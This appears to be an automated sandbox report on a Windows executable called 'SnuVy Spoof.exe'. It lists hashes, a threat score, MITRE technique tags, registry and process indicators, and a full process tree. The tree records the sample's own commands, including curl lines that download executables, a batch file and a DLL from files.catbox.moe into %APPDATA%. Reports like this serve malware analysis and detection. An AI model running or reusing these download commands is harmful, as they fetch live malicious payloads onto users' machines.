9d3219f467a2616a7e6844ecbb0df5c5dddf8536d444691bd2c18bb899092eb2

Resubmissions

22-11-2024 04:44

241122-fcs33azrfr 8

22-11-2024 04:11

241122-erzzgstqg1 10

Analysis

max time kernel
570s
max time network
438s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22-11-2024 04:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SnuVy Spoof.exe
Size

746KB
MD5

65b0e91512cc8d241ecc81dcba75d018
SHA1

3552fd50d9db83ba21abc56c6cd986637c3df51f
SHA256

9d3219f467a2616a7e6844ecbb0df5c5dddf8536d444691bd2c18bb899092eb2
SHA512

5ef4fa0cb5645a2f6582e20f2e21b770737ae2938a8b609131ea6cefef269b938d5b2ca70713af8f071e5d3a04778e5b01a975f4b2e5f44090245c70aed9b017
SSDEEP

12288:qr8DUq79BdXaHsLXqltIRIyr50UaGIdlijbZVIE:qrYUOBp5XqltmP6UaGEkj3

Score

8^/10

discovery

Malware Config

Signatures

Downloads MZ/PE file

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
23	discord.com
20	discord.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\WINDOWS\SYSTEM32\WINBIODATABASE\51F39552-1075-4199-B513-0C10EA185DB0.DAT	svchost.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3442511616-637977696-3186306149-1000\{34A5A2DD-EC2F-415F-91F7-3BD1124F7A14}	msedge.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
4912	msedge.exe
4912	msedge.exe
1512	msedge.exe
1512	msedge.exe
3420	msedge.exe
3420	msedge.exe
3544	identity_helper.exe
3544	identity_helper.exe
5860	msedge.exe
5860	msedge.exe
5860	msedge.exe
5860	msedge.exe
5804	msedge.exe
5804	msedge.exe
2644	powershell.exe
2644	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
6116	UserAccountBroker.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	6136	svchost.exe
Token: SeDebugPrivilege	2644	powershell.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe
1512	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6116	UserAccountBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2836 wrote to memory of 3324	2836	SnuVy Spoof.exe	83
PID 2836 wrote to memory of 3324	2836	SnuVy Spoof.exe	83
PID 3324 wrote to memory of 1512	3324	cmd.exe	84
PID 3324 wrote to memory of 1512	3324	cmd.exe	84
PID 1512 wrote to memory of 2764	1512	msedge.exe	86
PID 1512 wrote to memory of 2764	1512	msedge.exe	86
PID 2836 wrote to memory of 4420	2836	SnuVy Spoof.exe	87
PID 2836 wrote to memory of 4420	2836	SnuVy Spoof.exe	87
PID 2836 wrote to memory of 864	2836	SnuVy Spoof.exe	88
PID 2836 wrote to memory of 864	2836	SnuVy Spoof.exe	88
PID 864 wrote to memory of 4060	864	cmd.exe	89
PID 864 wrote to memory of 4060	864	cmd.exe	89
PID 864 wrote to memory of 1736	864	cmd.exe	90
PID 864 wrote to memory of 1736	864	cmd.exe	90
PID 864 wrote to memory of 496	864	cmd.exe	91
PID 864 wrote to memory of 496	864	cmd.exe	91
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 2212	1512	msedge.exe	92
PID 1512 wrote to memory of 4912	1512	msedge.exe	93
PID 1512 wrote to memory of 4912	1512	msedge.exe	93
PID 1512 wrote to memory of 1380	1512	msedge.exe	94
PID 1512 wrote to memory of 1380	1512	msedge.exe	94
PID 1512 wrote to memory of 1380	1512	msedge.exe	94
PID 1512 wrote to memory of 1380	1512	msedge.exe	94
PID 1512 wrote to memory of 1380	1512	msedge.exe	94
PID 1512 wrote to memory of 1380	1512	msedge.exe	94

C:\Users\Admin\AppData\Local\Temp\SnuVy Spoof.exe
"C:\Users\Admin\AppData\Local\Temp\SnuVy Spoof.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://discord.gg/PSsPuPwU7E
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3324
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/PSsPuPwU7E
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:1512
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x120,0x124,0x128,0x11c,0x12c,0x7ffa6dec46f8,0x7ffa6dec4708,0x7ffa6dec4718
      4⤵
      PID:2764
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2044,7571488863250083708,1743606379498167364,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2188 /prefetch:2
      4⤵
      PID:2212
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2044,7571488863250083708,1743606379498167364,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4912
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2044,7571488863250083708,1743606379498167364,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2856 /prefetch:8
      4⤵
      PID:1380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,7571488863250083708,1743606379498167364,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
      4⤵
      PID:1616
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,7571488863250083708,1743606379498167364,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
      4⤵
      PID:3328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,7571488863250083708,1743606379498167364,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4976 /prefetch:1
      4⤵
      PID:1332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2044,7571488863250083708,1743606379498167364,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3456 /prefetch:8
      4⤵
      PID:2692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2044,7571488863250083708,1743606379498167364,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=3944 /prefetch:8
      4⤵
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      PID:3420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2044,7571488863250083708,1743606379498167364,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5812 /prefetch:8
      4⤵
      PID:1664
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2044,7571488863250083708,1743606379498167364,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5812 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3544
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,7571488863250083708,1743606379498167364,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5472 /prefetch:1
      4⤵
      PID:4832
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,7571488863250083708,1743606379498167364,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5504 /prefetch:1
      4⤵
      PID:2508
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,7571488863250083708,1743606379498167364,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5100 /prefetch:1
      4⤵
      PID:2880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,7571488863250083708,1743606379498167364,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5228 /prefetch:1
      4⤵
      PID:4388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2044,7571488863250083708,1743606379498167364,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4828 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\SnuVy Spoof.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Windows\system32\certutil.exe
    certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\SnuVy Spoof.exe" MD5
    3⤵
    PID:4060
- - C:\Windows\system32\find.exe
    find /i /v "md5"
    3⤵
    PID:1736
- - C:\Windows\system32\find.exe
    find /i /v "certutil"
    3⤵
    PID:496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cd %temp% & curl -L "https://files.catbox.moe/lndcmk.bin" -o %APPDATA%\ZRGHJR345.exe
  2⤵
  PID:4656
- - C:\Windows\system32\curl.exe
    curl -L "https://files.catbox.moe/lndcmk.bin" -o C:\Users\Admin\AppData\Roaming\ZRGHJR345.exe
    3⤵
    PID:1120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cd %temp% & curl -L "https://files.catbox.moe/dgmod9.rrs" -o %APPDATA%\XGEHIOPZE543.exe
  2⤵
  PID:5616
- - C:\Windows\system32\curl.exe
    curl -L "https://files.catbox.moe/dgmod9.rrs" -o C:\Users\Admin\AppData\Roaming\XGEHIOPZE543.exe
    3⤵
    PID:5632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cd %temp% & curl -L "https://files.catbox.moe/2v89lz.bat" -o %APPDATA%\XHVUER764.bat
  2⤵
  PID:5696
- - C:\Windows\system32\curl.exe
    curl -L "https://files.catbox.moe/2v89lz.bat" -o C:\Users\Admin\AppData\Roaming\XHVUER764.bat
    3⤵
    PID:5712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cd %temp% & curl -L "https://files.catbox.moe/xefma9.bin" -o %APPDATA%\y9cisa.exe
  2⤵
  PID:5804
- - C:\Windows\system32\curl.exe
    curl -L "https://files.catbox.moe/xefma9.bin" -o C:\Users\Admin\AppData\Roaming\y9cisa.exe
    3⤵
    PID:5820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cd %temp% & curl -L "https://files.catbox.moe/z3o23v.dll" -o %APPDATA%\Guna.UI2.dll
  2⤵
  PID:5900
- - C:\Windows\system32\curl.exe
    curl -L "https://files.catbox.moe/z3o23v.dll" -o C:\Users\Admin\AppData\Roaming\Guna.UI2.dll
    3⤵
    PID:5916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:6012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:6028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:6044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:6060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:6076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:6092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:6108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:6124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:6140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:2220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:1212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5880
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:5932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:924
